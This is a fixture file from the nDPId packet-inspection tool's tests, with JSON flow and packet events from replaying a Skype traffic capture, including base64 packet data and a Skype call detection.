+00779{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":465,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":325223,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"AQBef\/\/6oPPBbTu2CABFAAE5Ao4AAAQRAYbAqAD+7\/\/\/+gQBB2wBJULdTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxDQpOVFM6IHNzZHA6YWxpdmUNClNFUlZFUjogVFAtTElOSyBXaXJlbGVzcyBOIE5hbm8gUm91dGVyIFdSNzAyTiwgVVBuUC8xLjANClVTTjogdXVpZDp1cG5wLVdBTkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDENCg0K"} +00835{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":466,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":341041,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFjAo8AAAQRAVvAqAD+7\/\/\/+gQBB2wBT72wTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5EZXZpY2U6MQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5EZXZpY2UtMTkyMTY4MDI1NDc4OTAwMDAxOjp1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6V0FORGV2aWNlOjENCg0K"} +00879{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":358070,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGDApAAAAQRATrAqAD+7\/\/\/+gQBB2wBb7pkTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOQ29tbW9uSW50ZXJmYWNlQ29uZmlnOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FORGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMTo6dXJuOnNjaGVtYXMtdXBucC1vcmc6c2VydmljZTpXQU5Db21tb25JbnRlcmZhY2VDb25maWc6MQ0KDQo="} +00808{"flow_id":22,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":374713,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"AQBef\/\/6oPPBbTu2CABFAAFNApEAAAQRAW\/AqAD+7\/\/\/+gQBB2wBOS6hTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KTlRTOiBzc2RwOmFsaXZlDQpTRVJWRVI6IFRQLUxJTksgV2lyZWxlc3MgTiBOYW5vIFJvdXRlciBXUjcwMk4sIFVQblAvMS4wDQpVU046IHV1aWQ6dXBucC1XQU5Db25uZWN0aW9uRGV2aWNlLTE5MjE2ODAyNTQ3ODkwMDAwMQ0KDQo="} +00435{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":374793,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA801JAAEAGhUbAqAEiQTffIcNqnEKAlL7NMr3ZNIAYECirkwAAAQEICj4iooBNl5tsq7xG5CK7Tso="} +00875{"flow_id":22,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":391076,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"AQBef\/\/6oPPBbTu2CABFAAGBApIAAAQRATrAqAD+7\/\/\/+gQBB2wBbXKDTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCg0K"} +00676{"flow_id":18,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":397745,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtrDhAAEAGkpTAqAEiF84hpsNtAbuewXpuGKHN44AYECzmWgAAAQEICj4iopbsLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00869{"flow_id":22,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":407910,"pkt_caplen":393,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":393,"pkt_l4_len":359,"pkt":"AQBef\/\/6oPPBbTu2CABFAAF7ApMAAAQRAT\/AqAD+7\/\/\/+gQBB2wBZ2gITk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTEwMA0KTE9DQVRJT046IGh0dHA6Ly8xOTIuMTY4LjAuMjU0OjE5MDAvaWdkLnhtbA0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCk5UUzogc3NkcDphbGl2ZQ0KU0VSVkVSOiBUUC1MSU5LIFdpcmVsZXNzIE4gTmFubyBSb3V0ZXIgV1I3MDJOLCBVUG5QLzEuMA0KVVNOOiB1dWlkOnVwbnAtV0FOQ29ubmVjdGlvbkRldmljZS0xOTIxNjgwMjU0Nzg5MDAwMDE6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00686{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969648,"pkt_ts_usec":818803,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"0NQSxnP1PBXCt3IOCABFAADz9gZAAEAGITPAqAEiF99JIsNrAbvkkjeTMYDD\/oAZECzeeAAAAQEICj4ipDv301nQFgMBALoBAAC2AwNVWh9qIUBTYdqPuvpJ\/EUxWvWdVTCc6qQWuOlUPkFPXAAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAQwAAABkAFwAAFGFwcHMuc2t5cGVhc3NldHMuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00455{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969649,"pkt_ts_usec":180236,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLCHYAAEAR7rjAqAEiwKgBAeuAADUAN9PqYyoBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00455{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969649,"pkt_ts_usec":180374,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLh8wAAEARb2LAqAEiwKgBAeF+ADUAN7bIb04BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":477,"source":"skype.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1431969649862,"flow_last_seen":0,"flow_tot_l4_data_len":309,"flow_min_l4_data_len":309,"flow_max_l4_data_len":309,"flow_avg_l4_data_len":309,"midstream":1,"l3_proto":"ip4","src_ip":"108.160.170.46","dst_ip":"192.168.1.34","src_port":443,"dst_port":49445,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969649,"pkt_ts_usec":862353,"pkt_caplen":343,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":343,"pkt_l4_len":309,"pkt":"PBXCt3IO0NQSxnP1CABFAAFJCUdAADQGY89soKouwKgBIgG7wSW4YeeiqCbN0IAYAEgh+QAAAQEICmF6dG0+IfU9FwMBARD7Uh6I13FzmcC+6gIV5n6AJhrBsHNwxcug1X4hBQozb5rifdWfxFgx5N7\/STRCna2lXcJzFlsdHwFqwb5pWB6kc7KLSFtZJ1+xqs\/LWpjXKXVYWA3FemYFVDyRXOngCpgT23pGW6q+fdoixXKwG46vp4NCAhC8D9JiN3KitsOr260NevBFtGudn3qUJfX\/3DhGLatA0j+U2CwrLM6DTOg9xpgfiq+azd0+zhMP0HAm0WOjBrmnGfTNcgHh+iJmkjL5sJ7TuSOU5HIOWUg6nL2f38I4\/Fmt1UsWozkMatK9FYjzbVIEXXgeh7hu8fTbVAUDu9Avc4N0XIcK0QG830wTIghFDiessVKi+sWFRr4k9g=="} +00424{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969649,"pkt_ts_usec":862431,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA05cZAAEAGfGTAqAEibKCqLsElAbuoJs3QuGHot4AQD\/f34wAAAQEICj4iqE1henRt"} +01726{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969649,"pkt_ts_usec":865108,"pkt_caplen":1020,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1020,"pkt_l4_len":986,"pkt":"0NQSxnP1PBXCt3IOCABFAAPu\/qxAAEAGX8TAqAEibKCqLsElAbuoJs3QuGHot4AYEACQpAAAAQEICj4iqE9henRtFwMBACCGlFiiXnGNbnUA8eFNVg97y26hgjzRrXr8V0YtIj6nMBcDAQOQKBOjiVJxpWdYeLLT\/Xbro3HQPBzjJPC4nFo8EDiP\/qwXTbKKHYw0zh5BjL36gX1CXDX+RahFJG73NIEjJWIM604+RslBUiVdP7BtOTwH9Na9fDbxf2Np60NBtc7IDn0njVPn\/OQFpDztHwH7ReKVzxI3mekCkJeQu5frlXMtzYs\/A6\/788RG\/9eQL\/SpUlGx+OzCYIvqD3TfRfjbcI0rUIMK13b81m\/QfwBa7fmPZMBLpKLV+owE6zVvsZhb2YounO4vXImcKbLXc+pHduRZUFgR7JTndx4BwWKNOeOJb0lOXmVFpPD2t5ChyQpB8B7yAVMimVYrMkRjOI+yOmuEWzpBBb71HAu2RXfIAr1ik+\/qd4k78SdOCRVzA9X9FlfHQtMw2+\/RMHqj5tfPuEb1dJqljOBer+yTyAiFyXzsxxDLI9ugRcdcvYukWjNLVzxsQTVIpyochPhHmfXZ5n\/eZ4dJphlsEijiHWw2q71oBZmMc5GGD6vO7ZjLO3AJWFPWmwoscaJzsLs58ocuQ2qdcOCA7GGVHN\/ijVl75hciIPcfOvLZ6urcFhUq1WWuqtEbVnfmbri38YkIXbc7ejHLENq2QCqsgj5enMQz75I2\/pet\/YCSsRs1eqVYMNg8xjXCKqSJQl62\/bTcGsNwyoxippOcJq8VpG7H7Fvy+AXb68gGTkeGTRQKqtF74u9vbasRDNwPq8\/DPKRvzqNHk914l9uHQ2AKRiwOC\/bnlDR9ocQFekQhsprf\/xDrXO7tscQNAKBRL+tD76zQwjIPz3PJEHN3Pc+QE5WHu5rFSvvxfz\/Z2\/HSf2Um2ZE3koBnXh0ea61MNA9NADFAPSD8Z5NIyJgusH5hoNWKXVoIkzU5GHgbwG14JuajpHBJlMNEXsfmLLVK9oYSSz6nK+qKkyM3mC7X8XBCMQsh\/0ouHgH6HndraUIKsjtp3JPkKjI4aYdJ0qIoz0PG\/x3wOUA4h1YDaa67wXVn4YAKaKBMtrlL40SzVa5Z91cUYV13ZvBCGjlszRtWPZdtD1L\/SaFfIp1tQJKNS\/3Rzkx+IjbAX1llTBgWy3mJMF73JAKDegzbMvdSvKJ6AUv810GsIeQ99gKRkiy\/yhCs7P73CjnzDITEbSmsOsmYIQAoX97vBTFy0OqF392JfqJYzpguRdJo39kQQV95yc415TouOPz9jkaLSSogaYBmY8ija5cax3+df915"} +00421{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":4039,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0CUhAADQGZONsoKouwKgBIgG7wSW4Yei3qCbRioAQAEwDoAAAAQEICmF6dKA+IqhP"} +00439{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":190406,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAT\/YAAEARp0PAqAEiwKgBAcALADUALIa2zTYBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00438{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":190535,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAIHEAAEAR1sjAqAEiwKgBAeA+ADUALBXIHdcBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00442{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":392944,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABDLuoAAEARyEzAqAEiwKgBAdmfADUAL7TEHKMBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAAQAB"} +00442{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":393134,"pkt_caplen":81,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":81,"pkt_l4_len":47,"pkt":"0NQSxnP1PBXCt3IOCABFAABD51QAAEARD+LAqAEiwKgBAc5yADUAL8ad+vYBAAABAAAAAAAABGNvbm4Fc2t5cGUGYWthZG5zA25ldAAAHAAB"} +00434{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":615899,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7wiQAAEARNRrAqAEiwKgBAf+SADUAJwCOlegBAAABAAAAAAAAA2FwaQVza3lwZQNjb20AABwAAQ=="} +00434{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":488,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":616201,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"0NQSxnP1PBXCt3IOCABFAAA7OqsAAEARvJPAqAEiwKgBAdR8ADUAJ+nL8sABAAABAAAAAAAAA2FwaQVza3lwZQNjb20AAAEAAQ=="} +00439{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":489,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":616360,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+sMAAAEARRnvAqAEiwKgBAcKBADUAKu5ghe0BAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAAAEAAQ=="} +00439{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":490,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":616519,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+JgIAAEAR0TnAqAEiwKgBAf4VADUAKsDYd8YBAAABAAAAAAAABGRzbjQBZAVza3lwZQNuZXQAABwAAQ=="} +00456{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":699761,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKntMAAEARWFzAqAEiwKgBAd\/IADUANro4UU4BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAABwAAQ=="} +00456{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969650,"pkt_ts_usec":699834,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKmIUAAEARXqrAqAEiwKgBAcNGADUANrH\/diQBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDYBcgVza3lwZQNuZXQAAAEAAQ=="} +00461{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969651,"pkt_ts_usec":62512,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPQKpAAEAGF9zAqAEiQTffIcNuAbtcUOSELmGB64AYECzM9wAAAQEICj4irPtNl50CTMAH1SL8QvONeRpYBso+\/QJCoz9WFRyG\/xRs"} +00431{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969651,"pkt_ts_usec":124136,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"0NQSxnP1PBXCt3IOCABFAAA6Cj0AAEAR7QLAqAEiwKgBAcLvADUAJlJY1+QBAAABAAAAAAAAAnVpBXNreXBlA2NvbQAAAQAB"} +00679{"flow_id":18,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969651,"pkt_ts_usec":834755,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"0NQSxnP1PBXCt3IOCABFAADtGdtAAEAGJPLAqAEiF84hpsNtAbuewXpuGKHN44AYECzY8QAAAQEICj4ir\/\/sLkk6FgMBALQBAACwAwNVWh9r1BitCFD8cZbUoP0jV12FHPzKsJViTeYgJXwI\/wAASgD\/wCTAI8AKwAnACMAowCfAFMATwBLAJsAlwAXABMADwCrAKcAPwA7ADQBrAGcAOQAzABYAPQA8ADUALwAKwAfAEcACwAwABQAEAQAAPQAAABMAEQAADmFwcHMuc2t5cGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00455{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969652,"pkt_ts_usec":268972,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLQykAAEARtAXAqAEiwKgBAeuAADUAN9PqYyoBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00455{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":499,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969652,"pkt_ts_usec":269113,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLQawAAEARtYLAqAEiwKgBAeF+ADUAN7bIb04BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":500,"source":"skype.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1431969652367,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969652,"pkt_ts_usec":367075,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"0NQSxnP1PBXCt3IOCABFAAA+qlYAAEARtuTAqAEiQAQXpjLdnFYAKjPsm5AC0vz7eA6m1WQz3XSdSXIE0xPsZ0Mgdb244ufZVMBp9g=="} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":500,"source":"skype.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1431969652367,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.166","src_port":13021,"dst_port":40022,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} 